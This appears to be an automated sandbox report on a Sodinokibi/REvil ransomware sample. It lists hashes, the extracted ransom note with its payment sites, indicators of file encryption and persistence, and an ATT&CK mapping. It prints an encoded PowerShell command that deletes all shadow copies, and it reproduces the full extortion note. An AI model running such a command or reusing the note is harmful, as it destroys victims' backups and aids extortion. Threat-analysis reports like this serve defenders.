sodinokibi | dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c

General

Target

dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
Size

164KB
MD5

e15f1d0621564f7cd294b252c11d91c1
SHA1

cb78aa749f30ba640418e77e72ca9cedd1220ddf
SHA256

dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c
SHA512

d64d4e4db816d1a77e2f6938f1285f043e14143a338224132117105d105faadb4295d2aad8e56e776ee2981259ba20196226ad730eb0f10da87c74500ecea39a

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\yqjv02791-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension yqjv02791. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F48B173CB06A4BA1 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/F48B173CB06A4BA1 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: /y1k38st0rDu7kclPOOf6ToTCTtUT+j430g096p0/YnUz0cjdGu0Mq/QT0ac07LL cRWNk2smTlBbxKX18kzDgV+oF9/yMmu3IzcaTR+a7uuZ82qnU8EyVyt/qO1Sq/Mm tFP8kqmtfBm/q8tFwAiUdpC3TlQWQUVsefM5GOenwnxrxCZQc5ovdJAlIElhiOla jRlgGaUU9j0RJjk8lGz35BBfRTUZZ6TunaXQOaO+wKa6f8N7tuQgVvlsDSNAAKSJ QLkDeeopaMhcaatTZFO2ueK2rD7DLnIsymHkHWik5OiUDMhFASmMZOWL/PJuxyaM 86YxmudBkJFqZSIVsmzpzXGRT64ArpsM7NfbtdusFLOtWKVQNmM24vCSdVNxeaNc tNV3wF7tm9JkuuTTlG3FLUkDwkPEZ5jrMWqKcjGQKR8sVc3lzh09zw3bi56iI5BU 8SA47pL5+BSGUv5p83vJ65d7xllL+g1g+1TIhdfTDhYYWOXKqk9sZ4V0dv8R/JBG fzVK77wGgVQTbJLHu4sx6bb11KQX8jOt0eYmcsNfWoF3XrrAEqu5eJjOZH1MBBzy 1wSL3sZJcF3vdeYM0UyI05xSSpbfuE14kNQh2IqGJL6IjHeJJlgQO/QGDXwwaXGF oG7M6w2T77Dq8NnK5X3lVM3Yb6BiPX7WrDCh9lK+gYXcAYdT36HL+GWorlYZ8utN 0mQeTr7HVxqk6Hn/KPzQXqXNPR8UjZn9luPOijV39XkHW4tgWe031Zt1BrtSmLp1 ARB1rEb4jJ33qELry7/Nq+He10kdiMlXHIq9jnoakrdeSMxn3451PC88vVc2XZQ0 p2QLeAHq8qyVKO0+BM0b71mTOEdpbnq+6TgSnsqQ7SYTESVkHZu2j3beUhityyxK HJQzZ8tZDc8c8c20bqpo0Kercz/It9QYQJ4YJv3TfFr8+SYFtSYf9/jQHl1MHmec 9ZNHxrQfGB5+d41urYsr0MTZvDKUyzllQqiCiA17pZLRp5WsbFT8gvWurmf7vPYE /tuGxlURtbe6tOQunNXHzkcsGdrs//DlMYTtNjxhH2m/dZCmDw9uhcqKHBZwHZpC dcsRjK1k/DtQYLF/5EUUd4NtO5IcjU/jwAFs/e8OEX0K56Nod3UB7+wzKCbRr9Xu kuHlKWGD6Oy5dw== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F48B173CB06A4BA1

http://decryptor.top/F48B173CB06A4BA1

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Modifies extensions of user files 7 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\UnprotectReset.crw => \??\c:\users\admin\pictures\UnprotectReset.crw.yqjv02791	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File renamed	C:\Users\Admin\Pictures\UseInstall.png => \??\c:\users\admin\pictures\UseInstall.png.yqjv02791	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\users\admin\pictures\ProtectRedo.tiff	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File renamed	C:\Users\Admin\Pictures\CheckpointPush.tif => \??\c:\users\admin\pictures\CheckpointPush.tif.yqjv02791	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File renamed	C:\Users\Admin\Pictures\GroupAssert.crw => \??\c:\users\admin\pictures\GroupAssert.crw.yqjv02791	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File renamed	C:\Users\Admin\Pictures\MountCopy.png => \??\c:\users\admin\pictures\MountCopy.png.yqjv02791	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File renamed	C:\Users\Admin\Pictures\ProtectRedo.tiff => \??\c:\users\admin\pictures\ProtectRedo.tiff.yqjv02791	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\dWCJzZNzru = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe"	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe

description	ioc	process
File opened (read-only)	\??\T:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\X:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\Y:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\D:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\M:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\B:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\E:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\I:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\J:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\L:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\O:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\U:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\A:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\Z:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\H:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\P:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\Q:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\R:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\V:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\G:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\K:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\N:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\S:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\W:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened (read-only)	\??\F:	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe

Drops file in System32 directory 1 IoCs

Processes:

dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\438.bmp"	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe

Drops file in Program Files directory 25 IoCs

Processes:

dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe

description	ioc	process
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\yqjv02791-readme.txt	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\ClearMove.docx	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\CompareOpen.sql	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\DismountSkip.js	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\SwitchTrace.mov	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\SyncDeny.pdf	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\UseStep.js	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File created	\??\c:\program files\yqjv02791-readme.txt	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\InstallAssert.mpeg3	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\ProtectEdit.dxf	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\RevokeResolve.dwfx	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\SuspendSwitch.php	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\AddSearch.m3u	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\ExitDisable.wmv	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\RemoveWatch.csv	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\MoveSet.midi	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\PopGroup.kix	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File created	\??\c:\program files (x86)\yqjv02791-readme.txt	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\CheckpointRestart.aifc	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\ExportBlock.odp	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\FormatOut.xltm	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\GetEdit.aif	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File opened for modification	\??\c:\program files\MoveResume.3gp2	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\yqjv02791-readme.txt	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\yqjv02791-readme.txt	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\SystemCertificates\CA\Certificates\4C27431717565A3A07F3E6D0032C4258949CF9EC\Blob = 0300000001000000140000004c27431717565a3a07f3e6d0032c4258949cf9ec140000000100000014000000f5cdd53c0850f96a4f3ab797da5683e669d268f7040000000100000010000000342e1e02d91852d4a66f8a892167c8fa0f0000000100000020000000a2de33490c476d356e2dbc737c2779692249526b65ab8fba9a34280481c8bdfc19000000010000001000000014b989b317682449c76eb3c21dac16e7180000000100000010000000a823b4a20180beb460cab955c24d7e212000000001000000510400003082044d30820335a003020102020b040000000001444ef03631300d06092a864886f70d01010b05003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3134303232303130303030305a170d3234303232303130303030305a304c310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613122302006035504031319416c70686153534c204341202d20534841323536202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100da01ece4ec7360fb7e8f6ab7c617e3926432d4ac00d9a20fb9edee6b8a86ca9267d974d75d47023c8f40d69e6d14cdc3da2939a70f050a68a2661a1ec4b28b7658e5ab5d1d8f40b3398bef1e837d22d0e3a9002eec53cf62198544284cc027cb7b0eec10640010a405cca072be416c315b48e4b1ecb923eb554dd07d624aa5b4a5a45985c52591a6fea6099f06106d8f810c64405e73009ae02e65985410007098c8e1ed345fd89cc70dc0d6235945fcfe557a86ee946022f1aed1e65546f699c51b08745facb064848f89381ca1a790214f026ebde06167d4f842870f0af7c9046d2aa92fef42a5dfdda353db981e81f99a727b5ade4f3e7fa258a0e217ad670203010001a38201233082011f300e0603551d0f0101ff04040302010630120603551d130101ff040830060101ff020100301d0603551d0e04160414f5cdd53c0850f96a4f3ab797da5683e669d268f730450603551d20043e303c303a0604551d20003032303006082b06010505070201162468747470733a2f2f7777772e616c70686173736c2e636f6d2f7265706f7369746f72792f30330603551d1f042c302a3028a026a0248622687474703a2f2f63726c2e676c6f62616c7369676e2e6e65742f726f6f742e63726c303d06082b060105050701010431302f302d06082b060105050730018621687474703a2f2f6f6373702e676c6f62616c7369676e2e636f6d2f726f6f747231301f0603551d23041830168014607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010b050003820101006040681647e7168ddb5ca1562acbf45c9bb01ea24bf5cb023ff80ba1f2a742d4b74cebe36680f32543782e1b1756075218cbd1a8ece6fb733ea4628c80b4d2c51273a3d3fa0238be633d84b899c1f1baf79fc340d1581853c162ddaf18427f344ec543d571b03000c7e390ae3f578697ceea0c128e2270e366a7547f2e28cbd454d0b31e626708f927e1cbe366b8241b896a894465f2d94cd2581c8c4ec095a1d4ef672f3820e82eff9651f0bad83d927047651c9e7372b4600c5ce2d17376e0af4ee2e537a5452f8a233e87c730e631387cf4dd52caf353042557566694e80beee603144eeefd6d94649e5ece79d4b2a6cf40b144a83e87195ee9f821165953	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d578112861900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\SystemCertificates\CA\Certificates\4C27431717565A3A07F3E6D0032C4258949CF9EC	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exepowershell.exe

pid process

828 dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
528 powershell.exe

pid	process
828	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
528	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	828	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
Token: SeDebugPrivilege	528	powershell.exe
Token: SeBackupPrivilege	1048	vssvc.exe
Token: SeRestorePrivilege	1048	vssvc.exe
Token: SeAuditPrivilege	1048	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe

description	pid	process	target process
PID 828 wrote to memory of 528	828	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe	powershell.exe
PID 828 wrote to memory of 528	828	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe	powershell.exe
PID 828 wrote to memory of 528	828	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe	powershell.exe
PID 828 wrote to memory of 528	828	dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe
"C:\Users\Admin\AppData\Local\Temp\dbfe1b859321098ba278b692ed6c0685ffcdd2e1c7c4f7289f0db09a5db6dc6c.exe"
1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:828

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:528

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1980

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1048

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

